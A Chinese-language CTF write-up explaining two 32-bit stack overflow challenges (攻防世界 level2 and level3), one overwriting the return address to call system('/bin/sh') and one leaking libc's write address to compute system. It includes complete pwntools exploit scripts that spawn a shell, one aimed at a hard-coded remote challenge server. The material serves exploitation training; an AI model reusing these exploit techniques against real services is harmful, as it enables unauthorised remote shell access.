栈溢出之构造函数覆盖返回地址

it2023-09-25  98

栈溢出利用已知函数覆盖返回地址

题目:攻防世界 level2 查看文件的保护,发现没有栈哨,可以考虑覆盖返回地址。

利用IDA进行静态分析,找到vulnerable_function()函数

ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] system("echo Input:"); return read(0, &buf, 0x100u); }

read函数读入了0x100的大小到缓冲区,但是缓冲区只有0x88的大小。这里存在缓冲区溢出。

在函数窗口找到_system函数的地址为0x08048320。(注意找到是.plt段)。也可以通过pwntools来找system的函数地址

from pwn import * elf = ELF('level2') hex(elf.symbols['system'])

然后通过IDA的字符串视图可以找到“/bin/sh”的地址(Shift+F12):0x0804A024

利用代码

#!/usr/bin/python 2.7 #-*-coding=utf-8-*- from pwn import * context.log_level='debug' r = remote('',) r.recvuntil('echo Input:') return_addr = 0x08048320 # system函数的地址 bash_addr = 0x0804A024 #/bin/sh的地址 ## 0x80填充缓冲区, 0x4填充BP, 接着是覆盖返回地址为system的地址,然后是system函数的返回地址(这里可以是任意的32bit的数据,最后是sysetm的参数地址) payload = 0x80 * 'a' + 0x4 * 'a' + p32(return_addr)+p32(0)+p32(bash_addr) r.sendline(payload) r.interactive()

栈溢出之利用Libc地址泄露构造函数

题目:攻防世界 level3 查看文件的保护,发现没有栈哨Canary,RELRO为partial,开启了部分地址随机化。也就是程序每次运行时加载的库函数的地址时随机的。

这里没有发现system函数和字符串"/bin/sh",但是题目提供了一个动态链接库libc_32.so.6。只能通过这个库来入手。

因为程序开启了地址随机化,每次运行库函数的地址时不固定的,但是函数或者字符串的相对位置是固定的。利用这一点,我们首先通过栈溢出覆盖返回地址,控制程序执行流程,使其调用库函数中的write函数从而泄露出write函数的地址,并重新返回到main函数,让程序继续执行。这样一次溢出就可以得到write函数在程序运行时的地址。然后根据库函数相对位置固定,就可以计算出system函数和/bin/sh在程序运行时的地址。再次利用栈溢出覆盖返回地址为system函数的地址,并且传递参数/bin/sh。拿到服务器的shell。

首先我们需要找到system函数和字符串/bin/sh被程序加载后的地址。通过libc_32.so.6库可以找到write函数和system函数的地址(write@@GLIBC_2.0和system@@GLIBC_2.0)。 readelf -s libc_32.so.6 | grep system readelf -s libc_32.so.6 | grep write 对于字符串/bin/sh,可以通过如下命令来得到地址,然后通过与库中的write函数地址比较得到相对地址。当然我们可以通过pwntools来得到库函数的地址。 strings -at x libc_32.so.6 | grep /bin/sh 利用脚本 #! /usr/bin/python2.7 #-*-coding=utf-8-*- from pwn import * context.log_level='debug' r = remote('220.249.52.133',35373) r.recvuntil('\n') elf = ELF('level3') #plt表是用来调用got表中的函数 write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.sym['main'] #0x88覆盖缓冲区,0x4覆盖bp,接着用write_plt覆盖返回地址,使得其调用write函数,接着是write执行完毕后 #返回到main函数,是程序能够继续执行,为第二次溢出做准备.后面三个是write函数的参数。第一个参数代表输出 #第二个参数代表输出的内容,第三个参数代表输出的长度 payload = 'a'*0x88 + 'b'*0x4 + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10) r.sendline(payload) base_addr = u32(r.recv()[:4]) #u32是p32的逆运算,[:4]代表取4个字节 libc = ELF('libc_32.so.6') system_addr = base_addr + (libc.sym['system'] - libc.sym['write'] ) shell_addr = base_addr + 0x84c6b # 找出/bin/sh的地址 - libc.sym['write'] 结果为 0x84c6b payload = 'a'*0x88 + 'b'*0x4 + p32(system_addr)+p32(0)+p32(shell_addr) r.recvuntil('\n') r.sendline(payload) r.interactive()

关于plt和got的知识,参考文章:got表和plt表

最新回复(0)